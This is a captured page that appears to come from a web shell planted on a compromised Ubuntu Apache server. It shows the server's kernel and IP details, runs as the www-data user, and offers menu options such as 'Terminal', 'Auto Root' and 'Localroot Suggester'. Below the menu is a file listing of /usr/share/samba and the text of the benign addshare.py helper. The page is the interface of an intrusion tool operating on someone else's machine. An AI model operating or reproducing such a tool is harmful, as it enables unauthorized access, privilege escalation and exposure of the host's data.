Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
samba /
Delete
Unzip
Name
Size
Permission
Date
Action
admx
[ DIR ]
drwxr-xr-x
2026-05-28 07:00
mdssvc
[ DIR ]
drwxr-xr-x
2026-05-28 07:00
setup
[ DIR ]
drwxr-xr-x
2026-05-28 07:00
addshare.py
1.14
KB
-rwxr-xr-x
2026-05-22 02:08
panic-action
2.01
KB
-rwxr-xr-x
2026-05-22 02:08
setoption.py
1.3
KB
-rwxr-xr-x
2026-05-22 02:08
smb.conf
8.74
KB
-rw-r--r--
2026-05-22 02:08
update-apparmor-samba-profile
2.62
KB
-rwxr-xr-x
2026-05-22 02:08
Save
Rename
#!/usr/bin/python3 # Helper to add a share in the samba configuration file # Eventually this should be replaced by a call to samba-tool, but # for the moment that doesn't support setting individual configuration options. import optparse import os import re import shutil import stat import sys import tempfile parser = optparse.OptionParser() parser.add_option("--configfile", type=str, metavar="CONFFILE", help="Configuration file to use", default="/etc/samba/smb.conf") (opts, args) = parser.parse_args() if len(args) != 2: parser.print_usage() (share, path) = args done = False inf = open(opts.configfile, 'r') (fd, fn) = tempfile.mkstemp() outf = os.fdopen(fd, 'w') for l in inf.readlines(): m = re.match(r"^\s*\[([^]]+)\]$", l) if m: name = m.groups(1)[0] if name.lower() == share.lower(): sys.exit(0) outf.write(l) if not os.path.isdir(path): os.makedirs(path) outf.write("[%s]\n" % share) outf.write(" path = %s\n" % path) outf.write(" read only = no\n") outf.write("\n") os.fchmod(fd, stat.S_IMODE(os.stat(opts.configfile).st_mode)) outf.close() shutil.move(fn, opts.configfile)